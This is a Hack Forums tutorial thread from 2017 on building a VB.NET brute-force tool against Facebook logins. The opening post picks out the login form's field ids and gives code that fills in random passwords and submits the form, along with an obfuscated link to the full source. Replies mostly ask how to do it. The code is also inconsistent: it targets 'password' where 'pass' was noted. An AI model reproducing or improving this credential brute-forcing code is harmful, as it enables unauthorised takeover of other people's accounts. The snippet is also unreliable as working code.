Hack Forums
[SOURCE][VB.NET] >>> HOW TO CREATE A BRUTE-FORCE TOOL <<< [VB.NET][SOURCE] - Printable Version

+- Hack Forums (https://hackforums.net)
+-- Forum: Hacks, Exploits, and Various Discussions (https://hackforums.net/forumdisplay.php?fid=45)
+--- Forum: Grayhat • Purple Team • Hybrid Security (https://hackforums.net/forumdisplay.php?fid=449)
+---- Forum: Beginner Hacking (https://hackforums.net/forumdisplay.php?fid=4)
+----- Forum: Hacking Tutorials (https://hackforums.net/forumdisplay.php?fid=47)
+----- Thread: [SOURCE][VB.NET] >>> HOW TO CREATE A BRUTE-FORCE TOOL <<< [VB.NET][SOURCE] (/showthread.php?tid=5566402)



[SOURCE][VB.NET] >>> HOW TO CREATE A BRUTE-FORCE TOOL <<< [VB.NET][SOURCE] - Axion - Mar 4, 2017

I will explain how to do a brute-forcer for Facebook (but can be used with other websites aswell). First, you have this code (got with inspect element from Facebook login page):

PHP Code

<?php 
<input type="email" class="inputtext" name="email" id="email" value="" tabindex="1"> 

Note down the id: email.

Now the password:
PHP Code

<?php 
<input type="password" class="inputtext" name="pass" id="pass" tabindex="2"> 

Note down the id: pass.

Now the login button:
PHP Code

<?php 
<input value="Log In" tabindex="4" type="submit" id="u_0_q"> 

Note down the id: u_0_q and type: submit

These will be used like this:

PHP Code

<?php 
If WebBrowser1.Document.GetElementById("email") IsNot Nothing Then
                WebBrowser1
.Document.GetElementById("email").SetAttribute("value", "[email protected]")
            
End If
            
Dim genne As String
            genne 
= GenerateRandomAlpha(15) 'Maximum password length'
            
ListBox1.Items.Add(genne)
            If 
WebBrowser1.Document.GetElementById("password") IsNot Nothing Then
                WebBrowser1
.Document.GetElementById("password").SetAttribute("value", genne)
            
End If
            If 
WebBrowser1.Document.GetElementById("u_0_q") IsNot Nothing Then
                WebBrowser1
.Document.InvokeScript("submit")
            
End If 

Whole source code (needs improvement):

[paste]%70%61%73%74%65%62%69%6e%2e%63%6f%6d/1GNN8VDd[/paste]


* - Hopsin - Mar 6, 2017

Link is broken, also I believe this belongs better in the vb.net section instead. Thank you & have a nice day mate! 🤝


* - BinaryFox - Jul 14, 2017

Very thanks for your code !


* - roadrunner24C - Jul 18, 2017

Hey, can you contact me personally. I wanna know how to do this.